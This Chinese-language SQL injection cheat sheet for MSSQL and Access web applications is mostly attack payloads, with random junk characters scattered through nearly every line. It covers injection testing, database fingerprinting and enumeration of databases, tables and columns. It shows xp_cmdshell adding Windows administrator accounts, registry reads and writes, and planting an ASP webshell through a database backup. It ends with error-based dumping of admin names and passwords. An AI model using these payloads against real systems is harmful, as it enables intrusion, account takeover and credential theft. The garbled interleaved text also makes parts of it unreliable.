1.判断是否有注入 , N/ A) {+ [- `) |& g
;and 1=1
3 ~8 n) Z e" Y;and 1=2 ( M: E. Q9 Q; W2 W9 R) i
# i5 X& {0 t* g2.初步判断是否是mssql
0 j: T# }/ I* z5 G;and user>0 8 t( B- Q, o& s1 E6 z" H: `
$ u3 G4 f/ @/ Z4 c s" r
3.判断数据库系统 4 `9 C8 i `6 Q2 l( y3 G' ^. g2 B5 l
;and (select count(*) from sysobjects)>0 mssql , A) @0 q" Q9 ^6 k! c, B1 R9 y
;and (select count(*) from msysobjects)>0 access & P& `2 f( ^0 R% U% V
* s* e6 p4 w* ?* {; z ~- i
4.注入参数是字符
' I2 L% A9 f! L& V& h'and [查询条件] and ''=' ( L" z# q# _+ d5 t9 r$ z
( X5 x, {0 C% @& J
5.搜索时没过滤参数的 " n, c8 S9 W. N3 j1 l
'and [查询条件] and '%25'=' # b6 ]: R0 b5 _ {- V
/ v; C+ Z7 _3 N+ H8 s
6.猜数表名 y; S( ]& s! w0 h; @" u# h4 ~# T
;and (select Count(*) from [表名])>0
}. a! J3 y' R
& Z" k3 _# `4 {+ c+ m- l7.猜字段 + |/ G: ~4 b6 G0 |
;and (select Count(字段名) from 表名)>0 3 [% C7 C8 D% g4 E6 C+ \$ F+ K( _/ y
; C, ^3 }3 e9 E3 S0 w) N8.猜字段中记录长度 + C& U$ [$ X. ?
;and (select top 1 len(字段名) from 表名)>0 4 K, D8 j+ b* z) I# l+ _
5 h5 u" A& R- I( Q6 [
9.(1)猜字段的ascii值(access)
- x4 q. Z: F' i/ }. t;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
( T) Q+ p F1 u. z; s ]: H( T! }6 B3 x
(2)猜字段的ascii值(mssql)
1 N# q/ l* k* a, f;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
' a( I* L# m. }
0 ^0 i+ e; T4 n10.测试权限结构(mssql) 1 I- e7 F+ W9 w3 A8 |
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
G, k+ I7 m: q0 B' }- D5 |) ?' b: b;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- % o2 z1 t" f6 [% L/ C7 v3 U5 c' a
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 5 `' Z6 c5 W1 W0 B
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
. j) L! [: T! e8 r6 c' J;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
- v6 C, v4 H( O, E;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
8 Y# E5 q0 b" m% A7 }1 Y;and 1=(select IS_MEMBER('db_owner'));--
1 L A/ }1 Z D! i; Y
, i0 n e1 O. T0 p, ~% t2 k/ o11.添加mssql和系统的帐户
* W9 F4 b2 b& j" n. E6 x0 I;exec master.dbo.sp_addlogin username;-- 0 h0 {: s7 m0 {. Q1 E+ y. w7 F
;exec master.dbo.sp_password null,username,password;--
) z/ k0 h% k% Z/ k4 k, p;exec master.dbo.sp_addsrvrolemember sysadmin username;--
7 v- ~8 ^4 S6 T, U" ^;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
$ H3 Y* M: W# D" X' I1 H) C;exec master.dbo.xp_cmdshell 'net user username password /add';-- ! G4 t: w( Q5 o4 }% I
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
1 W4 J* k% Z& d& d$ h
! d& O1 O! y8 j1 [ l12.(1)遍历目录
. h9 {$ t7 j+ G$ N. `1 f6 P* s;create table dirs(paths varchar(100), id int)
' h6 b6 R7 D) e7 y+ B! Z( V2 d;insert dirs exec master.dbo.xp_dirtree 'c:\' ; j: v) j: m8 {: ^
;and (select top 1 paths from dirs)>0
6 K: m+ k" H: S4 u" ?5 }8 I;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) $ V( H0 O7 ^; S/ ?! G8 |. I) s8 E$ C
0 ]0 x; `0 _5 D$ h$ D1 Z(2)遍历目录
- W. m+ A/ _# O0 a* X;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- : D! u" Q& p1 [! h* t
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
! t# a2 w* o: Q# `. E. G/ F;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ; K+ h# t0 ^+ M3 p1 Q
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
' T* [$ Y4 P" c: c4 N;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
: Z' a) K; o/ T& J0 [$ @" H$ f, G$ Y* t/ L/ e" e- y2 j
13.mssql中的存储过程
# H( `/ p4 @- i: n. E j& @) ^8 Dxp_regenumvalues 注册表根键, 子键
) H# @7 U# ?5 \. |& ?7 _;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 : I0 A9 v( E4 L. T) z, U; {
xp_regread 根键,子键,键值名
; g# W7 D# O! L5 F& r;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
2 g; u- b2 h% l. O/ yxp_regwrite 根键,子键, 值名, 值类型, 值 W: p2 u) Z; h5 Y
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
# l; ?4 _' P. g" _: K' j2 k;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 . h5 i. g6 w9 ^& v
xp_regdeletevalue 根键,子键,值名
8 P8 _3 g1 L Oexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
9 z3 F+ K0 Q; V V+ hxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ) Z% p) {* t M5 w
- j% F0 ?- T b: Q7 K14.mssql的backup创建webshell
X9 O; d' J& h% V# _3 o. H6 Z5 ?use model
. f- K$ J7 S( M& Rcreate table cmd(str image);
( s! P( E* e/ V# x# ainsert into cmd(str) values ('<% Dim oScript %>'); \* ` }$ m4 _9 ^
backup database model to disk='c:\l.asp'; f6 c' u: a* }+ W: e0 y' |
$ d2 W/ T9 \0 E* w$ A3 ~8 }15.mssql内置函数 + g" [' j- ^# n3 d
;and (select @@version)>0 获得Windows的版本号 & j. l5 K; \; c( K5 k
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
6 {+ ]* }* l7 A9 @1 J- j;and (select user_name())>0 爆当前系统的连接用户 * M, S7 W& I5 }8 m M
;and (select db_name())>0 得到当前连接的数据库 / \4 I! T, B# C
$ D( _: _* n! z6 k! _4 F" l2 l
3 I( W) d0 @$ g7 U: c# f; r2 t
( i+ C$ L& R* `$ {2 e" ]% B* XMSSQL手注暴库5 W: D% c% A: J U3 m
. [! u8 P7 `9 b# ]1.暴出当前表名和列名
, M) N, x( s+ X( E; D( k" i0 {8 d在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。0 ] X; n* O5 q R( @6 u
2 ] G2 Q/ h0 C+ n/ _ D$ y" [
第一.爆出所有数据库名
/ `% K2 P- |7 W5 k0 J: @2 W利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。; J" d2 L. ^3 N" y
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。4 d9 z, |6 W0 @( G
3 X* N* k7 x4 w6 @) p
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名
1 w# e& l$ i9 V- n' u( V1 d5 r, L* b$ ]+ {% u: v
9 `) ~; O; o; Z( Z6 y v第二.爆出指定库中的所有表名
+ x/ A9 C2 k# d r, Y得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
# U% N8 Z+ ~8 n$ w4 h; W再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。$ o& Z0 Y! i1 _5 F& e! c& t
. L# g8 P9 \5 V3 F% [and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
# H1 J# E- F$ r3 f4 }and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--+ R- {! j' N8 e
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--& L6 S4 _1 h' q7 R
4 V- P2 f, b5 _( x% I
4.爆出指定表中的所有列名
& v) }: } g* sand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) * P3 q+ H- R7 j, n" t" N* W
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名': f r1 Y* T2 d/ k! \% R
: ]( C4 Y; A2 C4 \0 t M* {
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名* k. s5 c" m- c5 H! H( z. j
4 @+ `+ l! u0 @5 j1 G' |再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
# H) M7 _$ d' q+ i8 h8 s/ ~依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
8 a# t/ b7 V7 i9 P/ H/ ~& f; Q$ T; C0 ` z. b( q, I# V p# Z5 R% v
/ w: g* f9 d2 z' p2 i3 t) q# u/ s
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值3 L: h; Z! \" A) k/ Q2 A9 M
: E8 K% w, a! land 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名1 l/ Z6 }+ O8 R
6 L( n: N( r. c# n5 R+ k/ p1 g$ Tand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- * v: `# }* A, X' W# r; @9 e; y/ A
" ~% @$ h+ u1 I' d( L* e0 V
9 v. p# G: l$ m' O2 h, O/ a# x
" x* v! z6 W/ L( {% x5 h5.读取指定表中的数据
+ M; \ l. W% D
" I' N* q# V0 @and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
- p, @2 Y% f7 q3 h0 M+ a$ T. N, d! u5 O( {+ f' d v3 f& Q
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
2 y" [( u1 r) c$ t. q7 i$ [4 G) n# E: v h- b. N- Z3 X. K
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
- T9 V+ i; f0 X4 m9 O/ d1 ]0 D0 o* W2 C# W5 r' I& \* O
6 i+ W A5 ^+ |. I) l: _# Aand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)
5 ]. N. A6 p8 Q0 m& D7 C2 H1 H s! v/ s% n1 z. Q
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)) `- ~: Z) \' i& t, h
# j8 J* K2 i5 b7 p# k
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
7 J( v8 d0 {/ n3 e7 X4 |1 J& \; B% V! Z8 b, {' \6 D
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
- p) o9 i; Z: A5 ?$ s6 l# l9 x |